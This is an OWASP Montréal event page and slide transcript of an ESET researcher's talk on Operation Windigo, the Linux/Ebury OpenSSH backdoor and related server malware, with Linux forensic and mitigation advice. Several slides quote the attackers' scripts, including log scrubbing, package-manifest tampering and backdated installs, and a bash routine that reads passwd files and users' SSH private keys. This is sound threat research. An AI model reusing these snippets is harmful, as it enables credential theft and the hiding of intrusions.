Malware côté serveur par Marc-Etienne M.Léveillé

OWASP Montréal - 4 décembre - Malware côté serveur — évolution, méthodes d’opération et forensic Linux

PRÉSENTATEUR PRINCIPAL: Marc-Etienne M.Léveillé

RÉSUMÉ: Les logiciels malveillants ciblant les serveurs ont évolué. Ils sont utilisés par des groupes de cybercriminels organisés dans le but de faire du profit via des redirections web et l’envoie de pourriels. La présentation portera sur Opération Windigo, une opération malveillante qui a affecté plus de 25 000 serveurs dans le monde. Après une brève description des composantes de Windigo, nous verrons comment les opérateurs déploient leurs logiciels malveillants et surveille leur réseau de serveurs infectés. Des trucs pratiques pour faire de la forensics sur des systèmes Linux seront donnés. Cette présentation est une suite à la présentation "Linux/Cdorked: Server side malware", donnée par Olivier Bilodeau à OWASP Montréal en 2013. La présentation sera en français avec des diapositives en anglais (aka Montreal-style).

BIO: Marc-Etienne est un chercheur en logiciel malveillant chez ESET depuis 2012. Il se spécialise dans les logiciels malveillants qui s’attaquent à des plateformes inhabituelles comme aux produits fruités et aux oiseaux nordiques. Dernièrement, il passe beaucoup de son temps à faire la rétro-ingénierie de logiciels malveillants sur des serveurs Linux et s’intéresse à leurs méthodes d’opération. Il adore participer de façon collégiale aux CTFs avec ses amis les CISSP Groupies et jouer de la clarinette. Il tweet très peu à @marc_etienne_.

QUAND: 4 décembre 2014 à 18h00
OÙ: Local M-1510, Polytechnique Montréal, 2900 Boulevard Edouard-Montpetit

ÉQUIPE ACADÉMIQUE: Polyhack - http://polyhack.org/

WEBCAST: https://www.youtube.com/watch?v=lo8WDl-WQ3E

Transcript

1. Malware côté serveur — évolution , méthodes d ’opération et forensic Linux Marc ­Etienne M .Léveillé , ESET ( ) @marc _etienne _ 0
2. :~$ whoami Marc ­Etienne M .Léveillé Malware Researcher at ESET Interested in OS X and Linux threats InfoSec CTF competition fan
3. :~$ whoami
4. :~$ apropos What is Operation Windigo ? Automating a dark cloud Defeating Ebury Automating defense
5. :~$ w | grep ­v marc ­ etienne aka Who are you ?
6. What is Operation Windigo ? Crimeware operation consisting of several malware components  — Linux /Ebury , Linux /Cdorked and Perl /Calfbot  — where the infrastructure is mostly operated on compromised servers . Used for traffic redirection and sending spam .
7. What is Operation Windigo ?
8. Operation Windigo A joint investigation effort
9. Big Picture
10. How does it expand ?
11. End goal ($) Install malware on Windows end ­users Exploit Kits : Flashpack , Blackhole , RIG Win 32/Glupteba (more spam capability ) Spam Mostly adult affiliate programs links Some Casino Web ­site redirections to adult affiliate programs
12. Impact 25 000+ compromised servers 500 000 browser redirections per day ( 20% go to exploit packs ) 35 M + spam sent per day
13. Linux /Ebury OpenSSH backdoor Replacing original OpenSSH binaries (ssh , sshd , ssh ­ add ) Then : replaces a shared library and hooks OpenSSH ’s address space Provides a backdoor root shell to the operators Doesn ’t leave traces behind when used Steals SSH passwords and keys When connecting to and from the infected machine
14. How the shared library works 1. Shared library has a constructor function executed when loaded 2. Detect main executable that is loading l i b k e y u t i l s . s o 3. Hook imported function such as c r y p t and s y s l o g 4. Detect main executable address space (d l o p e n ( N U L L ) ) 5. Patch code inside main executable to redirect function calls to the malicious l i b k e y u t i l s . s o
15. Hook imported function
16. key _parse clean
17. key _parse hooked
18. How information is exfiltrated ? 1. Passwords are sent inside a DNS packet with all required information such as username , target IP address and port 2. Keys are kept in memory and are later fetched by the operators with the X c a t command 9 8 . 1 7 4 . 1 2 1 . 1 9 - > 7 5 . 8 2 . 5 2 . 1 4 D N S S t a n d a r d q u e r y 0 x 4 c d d A b 7 4 b e b e 1 0 c a d 6 f f e 6 8 4 b f 8 a 1 . 6 2 . 2 2 0
19. Backdoor interaction To trigger the Linux /Ebury remotely in sshd , a special SSH client version identifier is used 1 9 2 . 2 7 . 8 1 . 1 1 - > 7 8 . 2 4 0 . 1 1 . 4 4 S S H S e r v e r : P r o t o c o l ( S S H - 2 . 0 - O p e n S S H _ 5 . 3 ) 7 8 . 2 4 0 . 1 1 . 4 4 - > 1 9 2 . 2 7 . 8 1 . 1 1 S S H C l i e n t : P r o t o c o l ( S S H - 2 . 0 - 0 8 6 1 d 6 0 b 2 4 6 5 c 0 3 8 3 0 7 6 d 8 2 3 3 2 7 3 d a ) [ 1 1 b y t e s p a s s w o r d ] [ o p t i o n a l 4 b y t e s c o m m a n d ] [ o p t i o n a l 4 b y t e s a r g u m e n t ]
20. Backdoor interaction (cont .) 5 commands Xver : print Linux /Ebury version installed Xcat : print stolen credentials Xbnd : choose binded IP address for SSH tunnel Xpsw : set additional 4 byte xor key for future backdoor usage None : get a shell
21. Ebury infection map
22. Ebury infection (top 5) Position Country Count 1 United States 10, 065 2 Germany 2, 489 3 France 1, 431 4 Italy 1, 169 5 United Kingdom 993 Others 9, 877 Total 26, 024
23. Who ssh with root ?
24. Linux /Cdorked httpd /nginx /lighttpd backdoor Replacing binary on the server Redirect HTTP request on legitimate web site the exploit packs or affiliate links Use shared memory (POSIX IPC ) for state and configuration No file on disk It ’s encrypted with a static XOR key unique per infection
25. Linux /Cdorked Stealth
26. Linux /Cdorked Stealth (cont .) Presence and content of Accept , Accept ­Language , Referer , User ­Agent headers Presence of administrative panel references in URL *cpanel * *secur * *bill * etc It is a web page ? (.html , .php , etc ) Did I redirect this client IP address in the last 24 hours ?
27. Cdorked ratio Only a small percentage of Ebury infected hosts have Cdorked installed .
28. Linking Cdorked and Ebury Cdorked | Ebury
29. Perl /Calfbot Perl spamming daemon Deletes itself when running , resides only in memory Hides as c r o n d
30. POSIX /Calfbot
31. Windigo group noteworthy compromises kernel .org infected at some point in 2011 cPanel support SSH gateway
32. Why advanced ? Stealth close to no disk persistence uses shared memory hooks into binaries do not affect existing services Effective large number of compromised servers validates spamming maximizes available server resources
33. Automating a dark cloud
34. DevOps malware operators ? Found very interesting monitoring and deployments scripts Interesting usage (SSH stream redirections ): c a t p a y l o a d . p l | s s h v i c t i m p e r l # o r c a t p a y l o a d . s h | s s h v i c t i m b a s h
35. Recon / Deployment scripts Written in Perl Always reports to S T D O U T Errors Status
36. Perl scripts Not obfuscated But as readable as Perl can be
37. Reverse ­engineering Perl Use p e r l t i d y to prettify Perl Rename variables vim : * then c i m then (n then . ).repeat () or your search /replace of $ E D I T O R For packed scripts use B : : D e p a r s e
38. Eliminates evidence ` m k d i r - p / h o m e / t m p q ` ; $ t f i l e = ' / h o m e / t m p q / q 3 d e f ' ; @ b l i s t = ` f i n d / v a r / l o g - t y p e f - m t i m e - 1 - s i z e + 1 0 0 M - l s ` ; p r i n t @ b l i s t i f @ b l i s t ; @ l o g s = ` c a t / e t c / s y s l o g . c o n f | g r e p - v i \ " # \ " | g r e p - v i d e v ` ; f o r e a c h ( @ l o g s ) { $ l o g s { $ 1 } + + i f m | . * ? ( / . + ) | a n d n o t m | / m a i l | } f o r e a c h $ f i l e ( k e y s % l o g s ) { n e x t i f c h e c k t i m e ( $ f i l e ) ; # p r i n t " C h e c k $ f i l e \ n " ; $ s y s t e m = " c a t $ f i l e | e g r e p - i \ " $ n _ d a t e \ " | e g r e p - i \ " $ s t r i n g \ " " ; # p r i n t " $ s y s t e m \ n " ; $ t e s t = ` $ s y s t e m ` ; p r i n t " F o u n d i n $ f i l e . T r y t o c o r r e c t \ n " i f $ t e s t ; n e x t u n l e s s $ t e s t ; $ s y s t e m = " c a t $ f i l e | e g r e p - v i \ " $ n _ d a t e \ " > $ t f i l e ; c a t $ f i l e | e g r e p \ " $ n _ d a t e \ " | e g r e p - v i # p r i n t " $ s y s t e m \ n " ; # ! s y s t e m ( $ s y s t e m ) }
39. Recon scripts Checks for LD _PRELOAD trickery Various restrictive s s h configurations BSD jails i f ( - l ' / b i n ' ) { p r i n t " \ n \ t l A L E R T ! ! ! / b i n i s l i n k , s e e m s l i k e b s d j a i l \ n " ; $ a l e r t + + } CPanel , BRadmin , Nagios ipcs plugin , auditd
40. Recon (cont ) Generic s s h honeypots @ s d = ` s t r i n g s / u s r / s b i n / s s h d | g r e p - e " ^ / u s r / l o c a l / l i b e x e c " ` ; c h o m p @ s d ; i f ( @ s d ) { p r i n t " \ n \ t A L E R T ! ! ! , " . j o i n ( " | " , @ s d ) . " \ n " } m y $ p p i d = g e t p p i d ; m y $ p b = r e a d l i n k ( " / p r o c / $ p p i d / e x e " ) ; i f ( $ p b n e ' / u s r / s b i n / s s h d ' ) { p r i n t " \ n \ t l A L E R T ! ! ! p a r e n t : $ p b , $ p p i d \ n " ; $ a l e r t + + }
41. Recon (cont ) Detects available tools (pkg mgmt , gcc , patch , …​ ) Check for header files to compile OpenSSH Check if Ebury is already installed
42. Recon (cont ) Output [ . . . ] _ # _ # _ s y s i n f o : _ # _ # _ u n a m e : L i n u x 3 . 2 . 0 - 4 - a m d 6 4 # 1 S M P D e b i a n 3 . 2 . 4 6 - 1 x 8 6 _ 6 4 G N U / L i n u x _ # _ # _ d n a m e : / e t c / d e b i a n _ v e r s i o n : 7 . 1 _ # _ # _ i s s u e : D e b i a n G N U / L i n u x 7 \ n \ l _ _ # _ # _ s s h : O p e n S S H _ 6 . 0 p 1 D e b i a n - 4 , O p e n S S L 1 . 0 . 1 e 1 1 F e b 2 0 1 3 _ # _ # _ p k g : / u s r / b i n / a p t - g e t _ # _ # _ g c c : _ # _ # _ p a t c h : _ # _ # _ b a s h : / b i n / b a s h [ . . . ] D E B c h e c k : o k _ # _ # _ i f c o n f i g : i n e t a d d r : x x x . x x . x . x x i n e t a d d r : 1 2 7 . 0 . 0 . 1 M a s k : 2 5 5 . 0 . 0 . 0 _ # _ # _ i f c o n f i g _ e n d a l e r t : ' 1 ' ; e x i t
43. Deployment script Uses Perl ’s DATA to pass files through s s h o p e n ( T A R , " | t a r z x f - $ l n $ s l " ) ; b i n m o d e ( D A T A ) ; w h i l e ( < D A T A > ) { p r i n t T A R $ _ ; } c l o s e T A R ; _ _ D A T A _ _ ^ _ < 8 b > ^ H ^ @ V Ã Ç S ^ @ ^ C í ½ X ^ T Ç Ö 0 Ü 3 Ì ( " 0 h À ¨ ^ Q ^ ] ^ U # î < 8 e > < 8 2 > + ( è h ^ @ ^ E < 8 c > ¸ ¯ < 8 8 > ^ K ^ F g ^ T ^ W ^ P Ò ` h Ú 6 Þ K Ì Í ¢ Ù 4 Ñ 7 1 j b ô Æ ^ ] \ @ < 8 c > ^ Z % Æ % j $ Æ h ã < 9 8 > < 8 8 > < 9 a > ¸ k ÿ ç < 9 c > ê < 8 6 > < 8 1 > È û Ý ÿ û < 9 e > ÷ { < 9 e > ÿ ù i m ª ê Ô © S û © s ª j ú Ì < 9 e > 9 y ñ â ^ ^ < 9 6 > i < 9 3 > ¹ ÿ ¹ § ; < ½ ^ B ^ B È < 8 5 > § < 8 6 > Û » g ï À î < 9 c > ¥ G Ï ^ < 9 6 > Þ ^ A Ý ^ C Á ß Ý b é Ù £ ^ G g î þ ? X ¦ Ê Ç > ß 6 ) Õ l æ R S R l ÿ ^ ] Þ ÿ * þ ÿ £ Ï ² < 8 8 > ¨ Á z < 9 d > ® 2 ì Â ^ M à 0 Ô ½ 1 ^ K < 8 7 > ¨ p ÿ × ª Ò < 8 4 > p } ¸ z ð ÷
44. Deployment script (cont ) Altering package management manifests s u b f i x _ m d 5 { m y @ d f = g l o b ( " / v a r / l i b / d p k g / i n f o / l i b k e y u t i l s 1 * . m d 5 s u m s " ) ; g e t _ m d 5 ( ) ; o p e n ( $ f h , " < $ d f " ) ; m y @ q = < $ f h > ; c l o s e $ f h ; f o r ( @ q ) { $ c + + i f s | \ S + $ d 1 / $ r f i l e \ n | $ m d 5 $ d 1 / $ r f i l e \ n | } o p e n ( $ f h , " > $ d f " ) ; p r i n t $ f h @ q ; c l o s e $ f h ; p r i n t " m d 5 f i x : f i x e d l i n e s : $ c \ n " ; }
45. Deployment script (cont ) How do you install an rpm in the past ? $ i n s t a l l _ t i m e = ` r p m - q - - q f ' % { I N S T A L L T I M E } \ n ' k e y u t i l s - l i b s ` ` M Y R P M T = " $ i n s t a l l _ t i m e " L D _ P R E L O A D = . / o v e r r i d e _ t i m e . s o r p m - - r e p l a c e p k g s - - r e p l a c e f i l e s - - n o s c r i p t s - - n o s i g n a t u r e - U m a l i c i o u s _ l i b k e y u t i l s _ p a c k a g
46. Deployment script (cont ) # r p m - - v e r i f y k e y u t i l s - l i b s ( n o e r r o r ) # r p m - q i k e y u t i l s - l i b s N a m e : k e y u t i l s - l i b s R e l o c a t i o n s : ( n o t r e l o c a t a b l e ) V e r s i o n : 1 . 4 V e n d o r : C e n t O S R e l e a s e : 4 . e l 6 B u i l d D a t e : F r i 2 2 J u n 2 0 1 2 0 2 : 2 0 : 3 8 A M E D T I n s t a l l D a t e : M o n 2 7 J a n 2 0 1 4 0 6 : 0 8 : 4 3 A M E S T B u i l d H o s t : c 6 b 1 0 . b s y s . d e v . c e n t o s . o r g G r o u p : S y s t e m E n v i r o n m e n t / B a s e S o u r c e R P M : k e y u t i l s - 1 . 4 - 4 . e l 6 . s r c . r p m S i z e : 5 9 3 2 0 L i c e n s e : G P L v 2 + a n d L G P L v 2 + S i g n a t u r e : R S A / S H A 1 , S u n 2 4 J u n 2 0 1 2 0 6 : 1 8 : 5 1 P M E D T , K e y I D 2 1 e f c 4 b f 7 1 f b f e 7 b U R L : h t t p : / / p e o p l e . r e d h a t . c o m / ~ d h o w e l l s / k e y u t i l s / S u m m a r y : K e y u t i l i t i e s l i b r a r y D e s c r i p t i o n : T h i s p a c k a g e p r o v i d e s a w r a p p e r l i b r a r y f o r t h e k e y m a n a g e m e n t f a c i l i t y s y s t e m c a l l s .
47. Daily monitoring script Bash Grabs keys , known hosts , user ssh configs e c h o _ _ % P a s s w d c a t / e t c / p a s s w d # [ . . . ] u d = ` a w k - F ' : ' ' { p r i n t $ 6 } ' < / e t c / p a s s w d | s o r t - u ` ; e c h o _ _ % K H o s t s f o r f i n $ u d ; d o c a t $ f / . s s h / k n o w n _ h o s t s 2 > / d e v / n u l l ; d o n e e c h o _ _ % S S H C o n f f o r f i n $ u d ; d o c a t $ f / . s s h / c o n f i g 2 > / d e v / n u l l & & e c h o _ % _ _ $ { f } ; d o n e e c h o _ _ % S S H K e y s _ p r i v f o r f i n $ u d ; d o [ - e $ f / . s s h / i d _ r s a ] & & { e c h o _ % _ _ $ f / . s s h / i d _ r s a ; c a t $ f / . s s h / i d _ r s a ; e c h o ; } [ - e $ f / . s s h / i d _ d s a ] & & { e c h o _ % _ _ $ f / . s s h / i d _ d s a ; c a t $ f / . s s h / i d _ d s a ; e c h o ; } d o n e
48. Other scripts findings Modifies SELinux policy Various styles of installation precompiled libraries on ­site compilation packages Looks for over 40 backdoors /rootkits
49. DevOps malware operators Manage their infrastructure with code Pass data in ­band with s s h Eliminate logs , restore timestamps Get rid of security features
50. Defeating Ebury
51. Same privileges How to spy on a malicious user with the same privileges ? syslog : omits logging package manifests : tampered tcpdump : Ebury stops on I F F _ P R O M I S C , ssh traffic is encrypted core dumping processes and shared memory : long auditd !
52. auditd The Linux audit framework provides an auditing system that reliably collects information about any security ­relevant (or non ­ security ­relevant ) event on a system . logging syscalls logs can be sent over the network a u d i t c t l - a e x i t , a l w a y s - S e x e c v e
53. auditd logs t y p e = E X E C V E m s g = a u d i t ( 1 3 7 3 8 3 8 2 3 9 . 3 4 0 : 4 4 7 4 2 0 0 ) : a r g c = 4 a 0 = " r m " a 1 = " - f " a 2 = " - f " a 3 = " / t m p / q " t y p e = C W D m s g = a u d i t ( 1 3 7 3 8 3 8 2 3 9 . 3 4 0 : 4 4 7 4 2 0 0 ) : c w d = " / h o m e / t m p p / o p e n s s h - 5 . 9 p 1 " t y p e = P A T H m s g = a u d i t ( 1 3 7 3 8 3 8 2 3 9 . 3 4 0 : 4 4 7 4 2 0 0 ) : i t e m = 0 n a m e = " / b i n / r m " \ - i n o d e = 2 2 2 8 2 2 8 8 d e v = 0 8 : 0 1 m o d e = 0 1 0 0 7 5 5 o u i d = 0 o g i d = 0 r d e v = 0 0 : 0 0 t y p e = P A T H m s g = a u d i t ( 1 3 7 3 8 3 8 2 3 9 . 3 4 0 : 4 4 7 4 2 0 0 ) : i t e m = 1 n a m e = ( n u l l ) i n o d e = 4 4 5 6 7 9 6 \ - d e v = 0 8 : 0 1 m o d e = 0 1 0 0 7 5 5 o u i d = 0 o g i d = 0 r d e v = 0 0 : 0 0 t y p e = S Y S C A L L m s g = a u d i t ( 1 3 7 3 8 3 8 2 3 9 . 3 4 1 : 4 4 7 4 2 0 1 ) : a r c h = c 0 0 0 0 0 3 e s y s c a l l = 5 9 \ - s u c c e s s = y e s e x i t = 0 a 0 = 1 f 2 9 d 4 0 a 1 = 1 e e c 5 f 0 a 2 = 1 f 0 3 e c 0 a 3 = 7 f f f d 6 b e 9 a 6 0 \ - i t e m s = 2 p p i d = 1 3 4 0 3 p i d = 2 1 2 8 7 a u i d = 5 0 1 u i d = 0 g i d = 0 e u i d = 0 \ - s u i d = 0 f s u i d = 0 e g i d = 0 s g i d = 0 f s g i d = 0 t t y = p t s 0 s e s = 1 2 8 2 3 2 c o m m = " t o u c h " e x e = " / b i n / t o u c h " t y p e = E X E C V E m s g = a u d i t ( 1 3 7 3 8 3 8 2 3 9 . 3 4 1 : 4 4 7 4 2 0 1 ) : a r g c = 4 a 0 = " t o u c h " a 1 = " - r " \ - a 2 = " / e t c / s s h / s s h d _ c o n f i g " a 3 = " / e t c / s s h / s s h _ c o n f i g "
54. auditd logs (cont .) On non ­ascii arguments it switches to hex t y p e = E X E C V E m s g = a u d i t ( 1 3 7 3 8 3 7 9 5 2 . 2 7 8 : 4 4 7 3 2 9 0 ) : a r g c = 2 6 a 0 = " g c c " a 1 = " - g " a 2 = " - O 2 " a 3 = " - W a l l " a 4 = " - W p o i n t e r - a r i t h " a 5 = " - W u n i n i t i a l i z e d " a 6 = " - W s i g n - c o m p a r e " a 7 = " - W f o r m a t - s e c u r i t y " a 8 = " - W n o - p o i n t e r - s i g n " a 9 = " - W n o - u n u s e d - r e s u l t " a 1 0 = " - f n o - s t r i c t - a l i a s i n g " a 1 1 = " - f n o - b u i l t i n - m e m s e t " a 1 2 = " - f s t a c k - p r o t e c t o r - a l l " a 1 3 = " - I . " a 1 4 = " - I . " a 1 5 = 2 D 4 4 5 3 5 3 4 8 4 4 4 9 5 2 3 D 2 2 2 F 6 5 7 4 6 3 2 F 7 3 7 3 6 8 2 2 a 1 6 = 2 D 4 4 5 F 5 0 4 1 5 4 4 8 5 F 5 3 5 3 4 8 5 F 5 0 5 2 4 F 4 7 5 2 4 1 4 D 3 D 2 2 2 F 7 5 7 3 7 2 2 F 6 C 6 F 6 3 6 1 6 C 2 F 6 2 6 9 6 E 2 F 7 3 7 3 6 8 2 2 [ . . . ] a 2 1 = 2 D 4 4 5 F 5 0 4 1 5 4 4 8 5 F 5 3 5 3 4 8 5 F 5 0 4 9 4 4 4 4 4 9 5 2 3 D 2 2 2 F 7 6 6 1 7 2 2 F 7 2 7 5 6 E 2 2 a 2 2 = 2 D 4 4 5 F 5 0 4 1 5 4 4 8 5 F 5 0 5 2 4 9 5 6 5 3 4 5 5 0 5 F 4 3 4 8 5 2 4 F 4 F 5 4 5 F 4 4 4 9 5 2 3 D 2 2 2 F 7 6 6 1 7 2 2 F 6 5 6 D 7 0 7 4 7 9 2 2 a 2 3 = " - D H A V E _ C O N F I G _ H " a 2 4 = " - c " a 2 5 = " r s a . c " $ i p y t h o n i n [ 1 ] : ( ' 2 D 4 4 5 F 5 0 4 1 5 4 4 8 5 F 5 3 5 3 4 8 5 F 5 0 4 B 4 3 5 3 3 1 3 1 5 F 4 8 4 5 4 C 5 0 4 5 5 2 ' ' 3 D 2 2 2 F 7 5 7 3 7 2 2 F 6 C 6 F 6 3 6 1 6 C 2 F 6 C 6 9 6 2 6 5 7 8 6 5 6 3 2 F 7 3 7 3 6 8 2 D ' ' 7 0 6 B 6 3 7 3 3 1 3 1 2 D 6 8 6 5 6 C 7 0 6 5 7 2 2 2 ' ) . d e c o d e ( ' h e x ' ) O u t [ 2 ] : ' - D _ P A T H _ S S H _ P K C S 1 1 _ H E L P E R = " / u s r / l o c a l / l i b e x e c / s s h - p k c s 1 1 - h e l p e r " '
55. Going out ­of ­band 1. Built a man ­in ­the ­middle ssh gateway 2. Leaked credentials 3. Waited …​ 4. …​ 5. Profit !
56. As simple as that / - - - - - - - - - - - - < C L O U D > - - - - - - - - - - - - - \ W A N D M Z I n t e r n e t < - - - > g a t e w a y < - - - > S e r v e r ( m i t m - s s h ) ( s o m e f a k e w o r k l o a d ) / - - - - - - - - - - - - < / C L O U D > - - - - - - - - - - - - - /
57. What we have learned 1. Gather system information with perl script 2. Install Ebury with perl script 3. Monitor infected servers daily with bash script run from the Ebury backdoor
58. What about production servers ? Forensics and incident response
59. Caution Running at same privilege level It ’s an arm ’s race Aim for out ­of ­band (network or memory acquisition )
60. Process analysis Once you ’ve found an interesting process Dump process memory s t r i n g s - a , g d b , IDA Pro g c o r e p i d
61. Did you know ? p r o c allows you to extract deleted executables # n o r m a l $ s u d o l s - l / p r o c / 1 7 9 0 2 / e x e l r w x r w x r w x 1 r o o t r o o t 0 S e p 2 6 1 3 : 1 1 / p r o c / 1 7 9 0 2 / e x e - > \ \ - / h o m e / o l i v i e r / s r c / n g i n x - 1 . 5 . 3 / n g i n x $ s h a 1 s u m / h o m e / o l i v i e r / s r c / n g i n x - 1 . 5 . 3 / n g i n x f b b 4 9 3 f 8 3 e 6 7 a 6 5 1 c c b b f 7 3 a 5 a d 2 2 c a 6 7 1 9 c 1 9 e 4 / h o m e / o l i v i e r / s r c / n g i n x - 1 . 5 . 3 / n g i n x $ s u d o r m / h o m e / o l i v i e r / s r c / n g i n x - 1 . 5 . 3 / n g i n x # r e m o v e d $ s u d o l s - l / p r o c / 1 7 9 0 2 / e x e l r w x r w x r w x 1 r o o t r o o t 0 S e p 2 6 1 3 : 1 1 / p r o c / 1 7 9 0 2 / e x e - > \ \ - / h o m e / o l i v i e r / s r c / n g i n x - 1 . 5 . 3 / n g i n x ( d e l e t e d ) $ s u d o c p / p r o c / 1 7 9 0 2 / e x e . / n g i n x $ s h a 1 s u m n g i n x f b b 4 9 3 f 8 3 e 6 7 a 6 5 1 c c b b f 7 3 a 5 a d 2 2 c a 6 7 1 9 c 1 9 e 4 n g i n x
62. Network evasion SSH tunnels nginx reverse proxies IP in IP tunnels NAT
63. Finding network level modifications Audit your iptables NAT table rules i p t a b l e s - t n a t - L - n v i p t a b l e s - s a v e
64. Finding network level modifications Audit your iptables NAT table rules Rules in the NAT table to bounce traffic of compromised servers - A P R E R O U T I N G - d x x . x x . 5 1 . 1 4 / 3 2 - p u d p - m u d p - - d p o r t 5 3 - j D N A T - - t o - d e s t i n a t i o n x x x . x x . 2 - A P O S T R O U T I N G - d x x x . x x . 2 2 5 . 2 0 0 / 3 2 - p u d p - m u d p - - d p o r t 5 3 - j S N A T - - t o - s o u r c e x x . x x . 5 1 .
65. Finding network level modifications Audit your IP in IP tunnels i f c o n f i g and look for : L i n k e n c a p : I P I P T u n n e l i p t u n n e l s h o w i p r o u t e s h o w t u n l 0 : i p / i p r e m o t e a n y l o c a l a n y t t l i n h e r i t n o p m t u d i s c t u n 1 0 : i p / i p r e m o t e x x . x x . 2 0 1 . 3 4 l o c a l x x x . x x x . 2 3 2 . 1 8 d e v e t h 0 t t l i n h e r i t s i t 0 : i p v 6 / i p r e m o t e a n y l o c a l a n y t t l 6 4 n o p m t u d i s c 1 0 . 1 2 . 1 2 . 0 / 3 0 d e v t u n 1 0 p r o t o k e r n e l s c o p e l i n k s r c 1 0 . 1 2 . 1 2 . 2 i p t a b l e s - t n a t - L - n v post ­routing source NAT to map tunnel traffic to e t h 0 IP
66. Shared Memory Analysis s h m : POSIX Shared Memory (an IPC mechanism ) i p c s s h m c a t , http ://sourceforge .net /projects /shmcat /
67. Shared Memory Analysis Dump Shared Segment # i p c s - m - - - - - - S h a r e d M e m o r y S e g m e n t s - - - - - - - - k e y s h m i d o w n e r p e r m s b y t e s n a t t c h [ . . . ] 0 x 0 0 0 0 1 0 e 0 4 6 5 2 7 2 8 3 6 r o o t 6 0 0 3 2 8 2 3 1 2 0 # i p c s - m - p - - - - - - S h a r e d M e m o r y C r e a t o r / L a s t - o p P I D s - - - - - - - - s h m i d o w n e r c p i d l p i d [ . . . ] 4 6 5 2 7 2 8 3 6 r o o t 1 5 0 2 9 1 7 3 7 7 # p s a u x | g r e p 1 5 0 2 9 [ . . . ] r o o t 1 5 0 2 9 0 . 0 0 . 0 6 6 3 0 0 1 2 0 4 ? S s J a n 2 6 0 : 0 0 / u s r / s b i n / s s h d # s h m c a t - m 4 6 5 2 7 2 8 3 6 > s h m _ d u m p
68. Recap Use out ­of ­band whenever possible Dump processes memory and content of / p r o c before killing a process Look for network configuration modifications
69. Automating defense
70. Indicators of Compromise We released so ­called IOCs [BEST ] Contact us : https ://github .com /eset /malware ­ ioc /tree /master /windigo https ://www .cert ­bund .de /ebury ­faq windigo @eset .sk
71. Arms race Shared memory Originally , a shared memory with permission 666 (r w - r w - r w - ) was present Changed permission to 600 (r w - - - - - - - ) Doesn ’t use shared memory anymore : use Unix socket instead
72. Arms race Infected file Modify system ’s s s h , s s h d and s s h - a d d Infect a file system library (l i b k e y u t i l s . s o ) Drop a new library file (l i b n s 2 . s o ), leaving l i b k e y u t i l s . s o size unchanged Change the library name
73. Tracking Calfbot ’s spam Run a modified "inactive " Perl malware T E S T S E N D command is sent to check if compromised server can send spam Implemented T E S T S E N D but not S E N D command There ’s no T E S T S E N D anymore , more difficult to track
74. Reaction example
75. Mitigation Use two factor authentication It ’s important on a server .
76. Mitigation Don ’t copy private key if you don ’t have to
77. Closing words You can help fight this threat ! Spread the word on detection and prevention techniques Help cleaning infected systems Send us anything suspect you find ! windigo @eset .sk
78. :~$ logout Thanks ! Questions ? @marc _etienne _ windigo @eset .sk